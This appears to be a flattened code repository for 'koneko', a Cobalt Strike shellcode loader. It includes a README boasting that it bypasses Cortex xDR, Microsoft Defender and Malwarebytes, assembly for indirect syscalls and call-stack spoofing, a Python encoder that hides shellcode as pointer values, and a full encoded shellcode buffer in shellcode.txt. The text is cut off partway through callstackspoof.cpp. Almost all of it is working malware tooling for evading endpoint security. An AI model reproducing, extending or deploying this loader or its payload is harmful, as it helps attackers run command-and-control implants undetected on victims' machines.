├── callme.asm ├── headers ├── includes.h ├── callstackspoof.h ├── sleep.h ├── syscalls.h ├── definitions.h ├── enums.h └── structs.h ├── README.md ├── scripts ├── encoder.py └── shellcode.txt ├── callr12.asm ├── spoof.asm ├── callstackspoof.cpp ├── syscalls.cpp ├── sleep.cpp └── main.cpp /callme.asm: -------------------------------------------------------------------------------- 1 | .data 2 | 3 | extern dwSSN:dword 4 | extern qwJMP:qword 5 | 6 | .code 7 | 8 | CallMe proc 9 | mov r10, rcx 10 | mov eax, dwSSN 11 | jmp qwJMP 12 | CallMe endp 13 | 14 | end -------------------------------------------------------------------------------- /headers/includes.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef INCLUDES_H 4 | #define INCLUDES_H 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #endif -------------------------------------------------------------------------------- /headers/callstackspoof.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef CALLSTACKSPOOF_H 4 | #define CALLSTACKSPOOF_H 5 | 6 | // Function to get the Exception Directory from .PDATA 7 | VOID GetExceptionAddress(PEXCEPTION_INFO pExceptionInfo); 8 | 9 | // Backend function that does all the hard work 10 | ULONG CalculateStackSizeBackend(PRUNTIME_FUNCTION pRuntimeFunctionTable, ULONG functionCount, DWORD64 ImageBase, DWORD64 pFuncAddr); 11 | 12 | // Wrapper function for CalculateStackSizeBackend 13 | ULONG CalculateStackSize(PVOID ReturnAddress); 14 | 15 | #endif -------------------------------------------------------------------------------- /headers/sleep.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef SLEEP_H 4 | #define SLEEP_H 5 | 6 | EXTERN_C DWORD dwSSN; 7 | EXTERN_C PVOID qwJMP; 8 | EXTERN_C PVOID NTAPI Spoof(PVOID a, ...); 9 | EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...); 10 | NTAPI_FUNCTION CallMe(); 11 | 12 | extern PBYTE hNtdll, hKernel32; 13 | extern std::vector callR12gadgets; 14 | extern PVOID gadget; 15 | extern NTSTATUS status; 16 | 17 | // Check if process sleeptime is being fastforwarded 18 | BOOL FiveHourEnergy(); 19 | 20 | // Sleeping without calling Sleep() 21 | VOID ImNotSleepingIPromise(DWORD milliseconds); 22 | 23 | // Hook Sleep and SleepEx 24 | VOID ReSleep(); 25 | 26 | extern SyscallEntry NtCreateEvent; 27 | extern SyscallEntry sysNtWaitForSingleObject; 28 | 29 | extern LPVOID mainFiber; 30 | extern LPVOID benignFiber; 31 | extern LPVOID shellcodeFiber; 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /headers/syscalls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef SYSCALLS_H 4 | #define SYSCALLS_H 5 | 6 | EXTERN_C DWORD dwSSN; 7 | EXTERN_C PVOID qwJMP; 8 | EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...); 9 | NTAPI_FUNCTION CallMe(); 10 | 11 | extern PBYTE hNtdll; 12 | extern NTSTATUS status; 13 | 14 | // Super reliable way to find the base address of a given module 15 | PBYTE FindModuleBase(const CHAR* moduleName); 16 | 17 | // Resolve System Service Number (SSN), Address, and Offset for a System Call Name 18 | SyscallEntry SSNLookup(PCHAR syscall); 19 | 20 | // Collect all instances of a given ROP gadget in a given module 21 | std::vector CollectGadgets(const PBYTE gadget, SIZE_T gadgetSize, PBYTE hModule); 22 | 23 | // Choose a random gadget 24 | PVOID GoGoGadget(std::vector gadgets); 25 | 26 | // Checks the bytes immediately before each gadget 27 | VOID CheckGadgetPreBytes(const std::vector& gadgets, SIZE_T gadgetSize, SIZE_T lookbackSize); 28 | 29 | #endif -------------------------------------------------------------------------------- /headers/definitions.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef DEFINITIONS_H 4 | #define DEFINITIONS_H 5 | 6 | #define WIN32_LEAN_AND_MEAN 7 | #define NO_MIN_MAX 8 | 9 | #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) 10 | #define NtCurrentThread() ((HANDLE)(LONG_PTR)-2) 11 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= STATUS_SUCCESS) 12 | 13 | #define NTAPI_FUNCTION EXTERN_C NTSTATUS NTAPI 14 | #define RTL_CONSTANT_STRING(s) { sizeof((s)) - sizeof((s)[0]), sizeof((s)), (PWCH)(s) } 15 | 16 | #define InitializeObjectAttributes(p, n, a, r, s) \ 17 | do { \ 18 | (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ 19 | (p)->RootDirectory = (r); \ 20 | (p)->Attributes = (a); \ 21 | (p)->ObjectName = (n); \ 22 | (p)->SecurityDescriptor = (s); \ 23 | (p)->SecurityQualityOfService = nullptr; \ 24 | } while (0) 25 | 26 | #define RtlInitUnicodeString(DestinationString, SourceString) \ 27 | do { \ 28 | if ((SourceString) == nullptr) { \ 29 | (DestinationString)->Length = 0; \ 30 | (DestinationString)->MaximumLength = 0; \ 31 | (DestinationString)->Buffer = nullptr; \ 32 | } else { \ 33 | size_t size = wcslen(SourceString) * sizeof(WCHAR); \ 34 | (DestinationString)->Length = static_cast(size); \ 35 | (DestinationString)->MaximumLength = static_cast(size + sizeof(WCHAR)); \ 36 | (DestinationString)->Buffer = const_cast(SourceString); \ 37 | } \ 38 | } while (0) 39 | 40 | #define NEW_STREAM L":%x%x\x00" 41 | #define PROCESSOR_FEATURE_MAX 64 42 | #define KUSER_SHARED_DATA_ADDRESS 0x7FFE0000 43 | 44 | #endif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # koneko 2 | A Cobalt Strike shellcode loader with multiple advanced evasion features. 3 | 4 | ![1739210063119](https://github.com/user-attachments/assets/1d3d84fc-edf1-4e1a-b754-bdb382de5f36) 5 | 6 | ## Disclaimer 7 | Don't be evil with this. I created this tool to learn. I'm not responsible if the Feds knock on your door. 8 | 9 | ---------------------------------------------------------------------------------------------------------- 10 | 11 | Historically was able to (and may still) bypass 12 | - Palo Alto Cortex xDR 13 | - Microsoft Defender for Endpoints 14 | - Windows Defender 15 | - Malwarebytes Anti-Malware 16 | 17 | ![cortex](https://github.com/user-attachments/assets/340b46f1-f123-4c4a-ab57-9eabae38865e) 18 | 19 | ## Features 20 | - Fully custom sleep implementation with thread callstack spoofing using NtCreateEvent and NtWaitForSingleObject 21 | - Inline hook on Sleep/SleepEx to redirect to said custom sleep implementation 22 | - Switching between Fiber threads to further avoid memory scanning 23 | - Return address spoofing on (almost?) every other API/NTAPI call 24 | - All the indirect syscalls! 25 | - Bunch of anti-VM and anti-debugger checks 26 | - Splitting and hiding shellcode as a bunch of x64 addresses with the EncodePointer API 27 | - Probably other stuff I forgot to mention here 28 | 29 | ## Negatives 30 | - It's not a UDRL loader, these spoof tricks are limited to only the running executable and will go away when you process inject to something else. 31 | - The sleep obfuscation is tailored to Cobalt Strike. To work with other C2s you'd need to tailor how the hooking happens. Use a tool like `apimonitor` to intercept API calls from your beacon, detect the API(s) called on the sleep cycle, and then adjust the hooks as needed. 32 | -------------------------------------------------------------------------------- /scripts/encoder.py: -------------------------------------------------------------------------------- 1 | import re 2 | import random 3 | import string 4 | import argparse 5 | 6 | def generate_random_name(): 7 | return ''.join(random.choices(string.ascii_letters, k=16)) 8 | 9 | def parse_shellcode(file_path): 10 | with open(file_path, "r") as f: 11 | data = f.read() 12 | 13 | # Extract hex bytes from shellcode definition 14 | matches = re.findall(r'\\x([0-9a-fA-F]{2})', data) 15 | shellcode = ''.join(matches) 16 | 17 | return shellcode 18 | 19 | def format_shellcode(shellcode): 20 | segments = [shellcode[i:i+16] for i in range(0, len(shellcode), 16)] 21 | formatted_lines = [] 22 | var_names = [] 23 | total_size = 0 24 | 25 | for segment in segments: 26 | while len(segment) < 16: 27 | segment += "90" # Pad with NOPs if not a full 8-byte segment 28 | total_size += len(segment) // 2 # Convert hex length to byte count 29 | var_name = generate_random_name() 30 | var_names.append(var_name) 31 | formatted_lines.append(f"PVOID {var_name} = EncodePointer((PVOID)0x{segment});") 32 | 33 | return formatted_lines, var_names, total_size 34 | 35 | def main(): 36 | parser = argparse.ArgumentParser(description="Parse and format shellcode from an input file.") 37 | parser.add_argument("input_file", help="Path to the input shellcode file") 38 | args = parser.parse_args() 39 | 40 | shellcode = parse_shellcode(args.input_file) 41 | formatted_shellcode, var_names, total_size = format_shellcode(shellcode) 42 | 43 | print(f"Total shellcode size (including padding): {total_size} bytes") 44 | 45 | for line in formatted_shellcode: 46 | print(line) 47 | 48 | print("\nstd::vector encodedSegments = {") 49 | print(" " + ", ".join(var_names) + ",") 50 | print("};") 51 | 52 | if __name__ == "__main__": 53 | main() 54 | -------------------------------------------------------------------------------- /callr12.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | CallR12 proc 4 | ; Allocate stack space 5 | sub rsp, 100h 6 | 7 | ; Store non-volatile registers 8 | mov qword ptr [rsp + 08h], rsi 9 | mov qword ptr [rsp + 10h], rdi 10 | mov qword ptr [rsp + 18h], r12 11 | 12 | ; Set up registers for function and fixup handler 13 | mov r10, rcx ; R10 now holds the function to call 14 | lea r12, Fixup ; R12 points to Fixup label for return address 15 | 16 | ; More stack space for arguments and spoofed return address 17 | sub rsp, 200h 18 | 19 | ; Place the gadget address as the return address 20 | mov qword ptr [rsp], r8 ; Spoofed return address is now set to r12_gadget 21 | 22 | ; Check if there are any arguments 23 | cmp rdx, 0 24 | je CallFunction ; If no arguments, jump to call the function directly 25 | 26 | ; Backup the number of arguments in R11 27 | mov r11, rdx ; R11 = nArgs 28 | 29 | ; Shift arguments if necessary (move arguments into appropriate registers for calling convention) 30 | cmp rdx, 4 31 | mov rcx, r9 ; First argument to RCX (from R9 if provided) 32 | mov rdx, qword ptr [rsp + 300h + 28h] 33 | mov r8, qword ptr [rsp + 300h + 30h] 34 | mov r9, qword ptr [rsp + 300h + 38h] 35 | jle CallFunction ; Jump if there are 4 or fewer arguments 36 | 37 | ; Move additional arguments from stack to align with calling convention 38 | mov rax, rcx 39 | mov rcx, r11 40 | sub rcx, 4 ; RCX = number of extra arguments to move 41 | lea rsi, [rsp + 28h + 18h + 300h] ; Source (additional arguments in original stack frame) 42 | lea rdi, [rsp + 28h] ; Destination in stack frame 43 | rep movsq ; Move the arguments from RSI to RDI 44 | 45 | ; Restore RCX for function call 46 | mov rcx, rax 47 | 48 | CallFunction: 49 | ; Call the target function 50 | jmp r10 ; Jump to function (R10), with r12_gadget as return address 51 | 52 | Fixup: 53 | ; Restore non-volatile registers and stack frame 54 | mov rsi, qword ptr [rsp + 200h + 08h] 55 | mov rdi, qword ptr [rsp + 200h + 10h] 56 | mov r12, qword ptr [rsp + 200h + 18h] 57 | add rsp, 300h ; Clean up the stack frame 58 | 59 | ret ; Return to caller 60 | 61 | CallR12 endp 62 | 63 | end 64 | -------------------------------------------------------------------------------- /scripts/shellcode.txt: -------------------------------------------------------------------------------- 1 | buf = b"" 2 | buf += b"\x48\x31\xc9\x48\x81\xe9\x8c\xff\xff\xff\x48\x8d" 3 | buf += b"\x05\xef\xff\xff\xff\x48\xbb\xae\xe2\x1e\xc0\xb3" 4 | buf += b"\x25\x75\x6d\x48\x31\x58\x27\x48\x2d\xf8\xff\xff" 5 | buf += b"\xff\xe2\xf4\x52\xaa\x9d\x24\x43\xcd\xbd\x6d\xae" 6 | buf += b"\xe2\x5f\x91\xf2\x75\x27\x3c\xf8\xaa\x2f\x12\xd6" 7 | buf += b"\x6d\xfe\x3f\xce\xaa\x95\x92\xab\x6d\xfe\x3f\x8e" 8 | buf += b"\xaa\x95\xb2\xe3\x6d\x7a\xda\xe4\xa8\x53\xf1\x7a" 9 | buf += b"\x6d\x44\xad\x02\xde\x7f\xbc\xb1\x09\x55\x2c\x6f" 10 | buf += b"\x2b\x13\x81\xb2\xe4\x97\x80\xfc\xa3\x4f\x88\x38" 11 | buf += b"\x77\x55\xe6\xec\xde\x56\xc1\x63\x43\xf4\x15\xb6" 12 | buf += b"\xe9\x1c\xb5\xc1\xae\xf5\xe5\xae\xe2\x1e\x88\x36" 13 | buf += b"\xe5\x01\x0a\xe6\xe3\xce\x90\x38\x6d\x6d\x29\x25" 14 | buf += b"\xa2\x3e\x89\xb2\xf5\x96\x3b\xe6\x1d\xd7\x81\x38" 15 | buf += b"\x11\xfd\x25\xaf\x34\x53\xf1\x7a\x6d\x44\xad\x02" 16 | buf += b"\xa3\xdf\x09\xbe\x64\x74\xac\x96\x02\x6b\x31\xff" 17 | buf += b"\x26\x39\x49\xa6\xa7\x27\x11\xc6\xfd\x2d\x29\x25" 18 | buf += b"\xa2\x3a\x89\xb2\xf5\x13\x2c\x25\xee\x56\x84\x38" 19 | buf += b"\x65\x69\x24\xaf\x32\x5f\x4b\xb7\xad\x3d\x6c\x7e" 20 | buf += b"\xa3\x46\x81\xeb\x7b\x2c\x37\xef\xba\x5f\x99\xf2" 21 | buf += b"\x7f\x3d\xee\x42\xc2\x5f\x92\x4c\xc5\x2d\x2c\xf7" 22 | buf += b"\xb8\x56\x4b\xa1\xcc\x3a\x92\x51\x1d\x43\xaa\xb3" 23 | buf += b"\x6c\xcb\x1a\xc7\x8c\x77\xae\xd6\x51\x75\x2c\xf8" 24 | buf += b"\xab\x97\x26\xff\xac\x84\x2c\x14\xae\x69\xe6\xb4" 25 | buf += b"\xda\xa0\x25\x9f\x2b\x56\xf1\x61\x68\x44\xad\xe3" 26 | buf += b"\xd3\xd7\x81\xe3\x64\x25\x2c\x14\xd8\x48\xb9\x14" 27 | buf += b"\xda\xa0\x84\x3d\xe2\x1e\xc0\xe9\x6d\xfc\xac\xef" 28 | buf += b"\x5a\xa5\xc1\xb3\x25\x38\x5c\x67\xa3\x4f\x81\xe2" 29 | buf += b"\x4f\x76\x2c\xff\xa3\xa4\x97\x3a\xba\xb3\x92\x7b" 30 | buf += b"\x09\x67\x9b\xfb\xac\xb4\x25\x9f\x30\x57\x49\x6b" 31 | buf += b"\x68\x44\xa4\xfc\x8a\x1e\xf2\x73\xa1\x27\x3f\xef" 32 | buf += b"\x58\xf5\x95\x9d\x1e\x8a\xb8\xe6\x6b\xd8\x88\x30" 33 | buf += b"\xe6\x25\x07\xa4\xbd\x56\x49\x42\x9f\x6a\x6d\xae" 34 | buf += b"\xe2\x74\xc0\xdb\xa5\x46\x6d\xae\xab\x97\x20\xf2" 35 | buf += b"\x9c\x71\x6d\xae\xe2\x5f\x7a\xc6\x63\xeb\xeb\x51" 36 | buf += b"\x37\x56\x49\x42\x6d\xfc\xb7\xe7\x25\xde\x3f\x4c" 37 | buf += b"\xda\x8a\x20\x9f\x2b\x4c\x92\xf2\x9f\x58\x6b\xb6" 38 | buf += b"\x99\xe1\x15\x36\xe5\x7a\xe8\x33\xe3\x1e\xc0\xfb" 39 | buf += b"\xda\xba\x62\x2a\x6e\x1f\xc0\xb3\xce\xc6\x84\x4a" 40 | buf += b"\xe3\x1e\xc0\x5b\xa7\x8a\x92\x51\xcd\x4c\xa6\xff" 41 | buf += b"\x7c\x75\x8a\xd8\x75\x21\xa0\x81\x51\x8b\xc6\x19" 42 | buf += b"\x2e\xdf\x62\xef\xea\x47\x6f\xe0\xdf\x2f\xd4\x28" 43 | buf += b"\x4b\x06\x4e\x57\x83\x13\x4b\x94\x03\xcf\x3c\xb4" 44 | buf += b"\xeb\x56\xc4\x07\xab\xc7\xe1\x38\xc8\x9c\x92\xee" 45 | buf += b"\xd7\xe9\xfa\x29\xb5\x87\x1f\x83\x51\x98\x4a\x22" 46 | buf += b"\x90\x2d\xdd\x7a\xf1\x7a\xe9\x48\xd1\x43\xb2\x34" 47 | buf += b"\x1f\xcc\xb4\xae\xb7\x6d\xa5\xc1\x08\x34\x0a\xcb" 48 | buf += b"\x8c\x6a\xfa\x93\x68\x1a\x17\xc7\x8e\x72\xa1\x9c" 49 | buf += b"\x10\x5b\x5d\x8e\xca\x7d\xaf\xde\x55\x14\x19\xc7" 50 | buf += b"\x80\x72\xa5\x88\x05\x38\x3e\xe7\xa7\x3e\xf9\x9d" 51 | buf += b"\x15\x4e\x4d\xf9\x8b\x70\xa4\xdc\x52\x06\x4d\xe0" 52 | buf += b"\xb6\x3e\xf6\x9d\x14\x4e\x4d\xf9\x8b\x70\xf6\x87" 53 | buf += b"\x1e\x55\x15\x98\xd6\x25\xe0\xe7\x57\x1c\x09\xcb" 54 | buf += b"\x8c\x6a\xef\x86\x0b\x45\x56\x8e\xa3\x68\xa1\xdd" 55 | buf += b"\x51\x55\x2f\xdc\x8d\x69\xb3\xd6\x57\x5c\x60\xa4" 56 | buf += b"\xe2\x70\x7c\x0a\x34\x7d\x59\x8e\xbe\xaa\xb1\x91" 57 | buf += b"\xb6\xde\x02\x12\x30\xb9\x6d\x74\xf6\x65\x1d\xe0" 58 | buf += b"\x77\x65\x56\xe2\x9d\x8d\x81\xb6\x32\xf6\x0c\x2b" 59 | buf += b"\x1f\x47\x26\x7f\xbc\x79\x2f\x1d\x2a\x48\x0c\xf2" 60 | buf += b"\x3e\xdf\x49\x54\x04\xd6\xad\x6c\x7d\x93\x39\x55" 61 | buf += b"\xb1\x0b\xda\x58\x58\x48\x50\xa8\x4d\xea\xf6\xfe" 62 | buf += b"\x4f\x0a\x85\x7c\x24\xde\xb3\x6d\x73\x13\xa0\xca" 63 | buf += b"\x27\x32\x4d\x49\x83\xf5\x87\x27\x81\x70\xbb\x40" 64 | buf += b"\x96\x14\x3e\xcc\xab\xbb\xf0\xee\xc6\x47\x05\x4a" 65 | buf += b"\xa7\xf0\x3f\xa8\x12\x1d\xbb\x31\x50\xca\x4c\x8d" 66 | buf += b"\xc3\xd5\x58\x3a\x9a\x1a\xee\x3e\xd1\xf4\x27\x10" 67 | buf += b"\x41\x6e\x2b\x4f\xfe\x2e\x32\xac\x67\xfe\x2c\x6c" 68 | buf += b"\x07\xa6\x6d\x36\xcc\x84\x63\xaf\x81\x62\x04\xc9" 69 | buf += b"\xcf\x60\x8d\x7d\xdf\x0c\x7c\x48\x75\x04\x01\xfa" 70 | buf += b"\x64\x40\x56\x4f\x52\xf1\x4b\x61\xf7\xc6\xdd\x47" 71 | buf += b"\x13\xcb\x25\xf8\x43\x96\xe7\xc4\x65\xf3\x80\x01" 72 | buf += b"\x5a\xb4\x6f\xb9\x9b\x11\xb6\xae\xa3\xa0\x30\x06" 73 | buf += b"\x87\x23\x92\x7b\xaa\x2f\x09\x09\x25\x75\x2d\xae" 74 | buf += b"\xa3\xa6\xc0\xa3\x25\x75\x2c\x17\xa2\x1e\xc0\xb3" 75 | buf += b"\x64\xcf\x35\x0a\xb1\xfb\x3f\x66\x6d\xe6\x3e\xfd" 76 | buf += b"\xaa\x97\x27\xfb\xac\x84\x25\x27\x38\x5f\x78\xb3" 77 | buf += b"\x05\x75\x6d\xe7\x6b\xe7\x81\x09\x37\xe3\xe4\x4c" 78 | buf += b"\x1d\xcb\x88\x30\xe1\x55\xe8\x6e\x96\xa8\xa6\x38" 79 | buf += b"\x22\x3d\x6c\x6d\x67\xde\xb5\x64\x7d\x2d\x35\xe6" 80 | buf += b"\xe7\x1e\xc0\xb3\x25\x25\xae\x46\x9d\xe3\x3f\x4c" 81 | buf += b"\x14\x45\x43\x9a\xd0\x30\xf4\x81\x0b\x40\x6d\x94" 82 | buf += b"\x3c\x76\x71\xb3\x25\x75\x6d" -------------------------------------------------------------------------------- /spoof.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | ; A function can be called like so 4 | ; 5 | ; Spoof(arg1, arg2, arg3, arg4, ¶m, function, (PVOID)0); 6 | ; 7 | ; Param is a struct containing some necessary information for the call to have fake frames added. 8 | ; The 6th argument is a pointer to the function to execute 9 | ; The 7th argument specifies the number of args to pass to the stack. It has to be at an 8 byte size. 10 | 11 | Spoof PROC 12 | pop rax ; Real return address in rax 13 | 14 | mov r10, rdi ; Store OG rdi in r10 15 | mov r11, rsi ; Store OG rsi in r11 16 | 17 | mov rdi, qword ptr [rsp + 32] ; Storing struct in rdi 18 | mov rsi, qword ptr [rsp + 40] ; Storing function to call 19 | 20 | ; --------------------------------------------------------------------- 21 | ; Storing our original registers 22 | ; --------------------------------------------------------------------- 23 | 24 | mov qword ptr [rdi + 24], r10 ; Storing OG rdi into param 25 | mov qword ptr [rdi + 88], r11 ; Storing OG rsi into param 26 | mov qword ptr [rdi + 96], r12 ; Storing OG r12 into param 27 | mov qword ptr [rdi + 104], r13 ; Storing OG r13 into param 28 | mov qword ptr [rdi + 112], r14 ; Storing OG r14 into param 29 | mov qword ptr [rdi + 120], r15 ; Storing OG r15 into param 30 | 31 | mov r12, rax ; OG code used r12 for ret addr 32 | 33 | ; --------------------------------------------------------------------- 34 | ; Prepping to move stack args 35 | ; --------------------------------------------------------------------- 36 | 37 | xor r11, r11 ; r11 = # of args pushed 38 | mov r13, qword ptr [rsp + 30h] ; r13 = total args to push 39 | 40 | mov r14, 200h ; Initial offset 41 | add r14, 8 42 | add r14, qword ptr [rdi + 56] ; Add RUTS stack size 43 | add r14, qword ptr [rdi + 48] ; Add BTIT stack size 44 | add r14, qword ptr [rdi + 32] ; Add gadget frame size 45 | sub r14, 20h ; Adjust for first stack arg 46 | 47 | mov r10, rsp 48 | add r10, 30h ; Stack args base address 49 | 50 | looping_label: 51 | xor r15, r15 52 | cmp r11, r13 53 | je finish_label 54 | 55 | ; --------------------------------------------------------------------- 56 | ; Calculate target stack position 57 | ; --------------------------------------------------------------------- 58 | sub r14, 8 59 | mov r15, rsp 60 | sub r15, r14 61 | 62 | ; --------------------------------------------------------------------- 63 | ; Move stack argument 64 | ; --------------------------------------------------------------------- 65 | add r10, 8 66 | push qword ptr [r10] 67 | pop qword ptr [r15] 68 | 69 | ; --------------------------------------------------------------------- 70 | ; Increment counter and loop 71 | ; --------------------------------------------------------------------- 72 | add r11, 1 73 | jmp looping_label 74 | 75 | finish_label: 76 | 77 | ; ---------------------------------------------------------------------- 78 | ; Create working space and setup fake frames 79 | ; ---------------------------------------------------------------------- 80 | sub rsp, 200h 81 | push 0 82 | 83 | ; RtlUserThreadStart frame 84 | sub rsp, qword ptr [rdi + 56] 85 | mov r11, qword ptr [rdi + 64] 86 | mov qword ptr [rsp], r11 87 | 88 | ; BaseThreadInitThunk frame 89 | sub rsp, qword ptr [rdi + 32] 90 | mov r11, qword ptr [rdi + 40] 91 | mov qword ptr [rsp], r11 92 | 93 | ; Gadget frame -- `jmp QWORD PTR [rbx]` 94 | sub rsp, qword ptr [rdi + 48] 95 | mov r11, qword ptr [rdi + 80] 96 | mov qword ptr [rsp], r11 97 | 98 | ; ---------------------------------------------------------------------- 99 | ; Prepare for function call and fixup 100 | ; ---------------------------------------------------------------------- 101 | mov r11, rsi ; Function to call 102 | mov qword ptr [rdi + 8], r12 ; Store real return address 103 | mov qword ptr [rdi + 16], rbx ; Store original RBX 104 | lea rbx, fixup_label ; Get fixup address 105 | mov qword ptr [rdi], rbx ; Store fixup in struct 106 | mov rbx, rdi ; Param struct pointer 107 | 108 | ; Prepare syscall (if needed) 109 | mov r10, rcx 110 | mov rax, qword ptr [rdi + 72] 111 | 112 | jmp r11 ; Jump to target function 113 | 114 | fixup_label: 115 | mov rcx, rbx ; Restore param struct 116 | 117 | ; Cleanup stack frames 118 | add rsp, 200h 119 | add rsp, qword ptr [rbx + 48] 120 | add rsp, qword ptr [rbx + 32] 121 | add rsp, qword ptr [rbx + 56] 122 | 123 | ; Restore original registers 124 | mov rbx, qword ptr [rcx + 16] 125 | mov rdi, qword ptr [rcx + 24] 126 | mov rsi, qword ptr [rcx + 88] 127 | mov r12, qword ptr [rcx + 96] 128 | mov r13, qword ptr [rcx + 104] 129 | mov r14, qword ptr [rcx + 112] 130 | mov r15, qword ptr [rcx + 120] 131 | 132 | jmp qword ptr [rcx + 8] ; Jump to original return address 133 | 134 | Spoof ENDP 135 | 136 | END 137 | -------------------------------------------------------------------------------- /callstackspoof.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // Function to get the Exception Directory from .PDATA 4 | VOID GetExceptionAddress(PEXCEPTION_INFO pExceptionInfo) { 5 | PIMAGE_NT_HEADERS64 pImgNtHdr = (PIMAGE_NT_HEADERS64)(pExceptionInfo->hModule + ((PIMAGE_DOS_HEADER)pExceptionInfo->hModule)->e_lfanew); 6 | PIMAGE_DATA_DIRECTORY pExcDir = &pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; 7 | 8 | pExceptionInfo->pExceptionDirectory = pExceptionInfo->hModule + pExcDir->VirtualAddress; 9 | pExceptionInfo->dwRuntimeFunctionCount = pExcDir->Size / sizeof(RUNTIME_FUNCTION); 10 | } 11 | 12 | // Backend function for CalculateStackSize that does all the hard work 13 | ULONG CalculateStackSizeBackend(PRUNTIME_FUNCTION pRuntimeFunctionTable, ULONG functionCount, DWORD64 ImageBase, DWORD64 pFuncAddr) { 14 | NTSTATUS status = STATUS_SUCCESS; 15 | PUNWIND_INFO pUnwindInfo = NULL; 16 | ULONG unwindOperation = 0; 17 | ULONG operationInfo = 0; 18 | ULONG index = 0; 19 | ULONG frameOffset = 0; 20 | StackFrame stackFrame = { 0 }; 21 | 22 | // Locate the correct RUNTIME_FUNCTION using Binary Search 23 | ULONG low = 0, high = functionCount - 1; 24 | PRUNTIME_FUNCTION pRuntimeFunction = NULL; 25 | 26 | while (low <= high) { 27 | ULONG mid = (low + high) / 2; 28 | PRUNTIME_FUNCTION pMidFunction = &pRuntimeFunctionTable[mid]; 29 | 30 | if (pFuncAddr < (ImageBase + pMidFunction->BeginAddress)) 31 | high = mid - 1; 32 | else if (pFuncAddr > (ImageBase + pMidFunction->EndAddress)) 33 | low = mid + 1; 34 | else { 35 | pRuntimeFunction = pMidFunction; // Found the function 36 | break; 37 | } 38 | } 39 | 40 | if (!pRuntimeFunction) return STATUS_INVALID_PARAMETER; // Function not found 41 | 42 | // If UnwindData is invalid, try retrieving function entry from Exception Directory 43 | if (pRuntimeFunction->UnwindData >= 0x80000000) { 44 | EXCEPTION_INFO excInfo = { 0 }; 45 | excInfo.hModule = ImageBase; 46 | GetExceptionAddress(&excInfo); 47 | 48 | // Manually search for the function in the Exception Directory 49 | pRuntimeFunction = (PRUNTIME_FUNCTION)excInfo.pExceptionDirectory; 50 | for (DWORD i = 0; i < excInfo.dwRuntimeFunctionCount; i++) { 51 | if (pFuncAddr >= (ImageBase + pRuntimeFunction[i].BeginAddress) && 52 | pFuncAddr <= (ImageBase + pRuntimeFunction[i].EndAddress)) { 53 | pRuntimeFunction = &pRuntimeFunction[i]; 54 | break; 55 | } 56 | } 57 | 58 | // Still could not find valid entry 59 | if (!pRuntimeFunction) return STATUS_INVALID_PARAMETER; 60 | } 61 | 62 | // Retrieve Unwind Information 63 | pUnwindInfo = (PUNWIND_INFO)(ImageBase + pRuntimeFunction->UnwindData); 64 | 65 | // Validate pUnwindInfo before using it 66 | if (!pUnwindInfo || (DWORD64)pUnwindInfo < ImageBase || (DWORD64)pUnwindInfo > ImageBase + 0xFFFFFF) { 67 | return STATUS_INVALID_PARAMETER; // Invalid pUnwindInfo 68 | } 69 | 70 | while (index < pUnwindInfo->CountOfCodes) { 71 | unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp; 72 | operationInfo = pUnwindInfo->UnwindCode[index].OpInfo; 73 | 74 | // Calculate Stack Size Based on Unwind Codes 75 | switch (unwindOperation) { 76 | case UWOP_PUSH_NONVOL: 77 | if (operationInfo == 4) 78 | return STATUS_INVALID_PARAMETER; 79 | stackFrame.totalStackSize += 8; 80 | break; 81 | case UWOP_ALLOC_SMALL: 82 | stackFrame.totalStackSize += ((operationInfo * 8) + 8); 83 | break; 84 | case UWOP_ALLOC_LARGE: 85 | index++; 86 | if (index >= pUnwindInfo->CountOfCodes) 87 | return 0x100; // Default safe size 88 | 89 | frameOffset = (operationInfo == 0) 90 | ? pUnwindInfo->UnwindCode[index].FrameOffset * 8 91 | : (pUnwindInfo->UnwindCode[index].FrameOffset + (pUnwindInfo->UnwindCode[++index].FrameOffset << 16)); 92 | 93 | if (frameOffset > 0x10000) 94 | return 0x100; // Default safe size 95 | 96 | stackFrame.totalStackSize += frameOffset; 97 | break; 98 | case UWOP_PUSH_MACHFRAME: 99 | stackFrame.totalStackSize += (operationInfo == 0) ? 40 : 48; 100 | break; 101 | case UWOP_SAVE_NONVOL: 102 | index++; // Skip next entry 103 | break; 104 | case UWOP_SAVE_NONVOL_FAR: 105 | index += 2; // Skip two entries 106 | break; 107 | default: 108 | return 0x100; // Default safe size 109 | } 110 | index++; 111 | } 112 | 113 | // Include Return Address Size 114 | stackFrame.totalStackSize += 8; 115 | 116 | //printf("Stack size calculated: %u\n", stackFrame.totalStackSize); 117 | return stackFrame.totalStackSize; 118 | } 119 | 120 | // Wrapper function for CalculateStackSizeBackend 121 | ULONG CalculateStackSize(PVOID ReturnAddress) { 122 | if (!ReturnAddress) 123 | return STATUS_INVALID_PARAMETER; 124 | 125 | PRUNTIME_FUNCTION pRuntimeFunctionTable = NULL; 126 | DWORD64 ImageBase = 0; 127 | ULONG functionCount = 0; 128 | PUNWIND_HISTORY_TABLE pHistoryTable = NULL; 129 | 130 | // Locate RUNTIME_FUNCTION for given Function 131 | pRuntimeFunctionTable = RtlLookupFunctionEntry((DWORD64)ReturnAddress, &ImageBase, pHistoryTable); 132 | if (!pRuntimeFunctionTable) return STATUS_ASSERTION_FAILURE; 133 | 134 | // Find the number of runtime 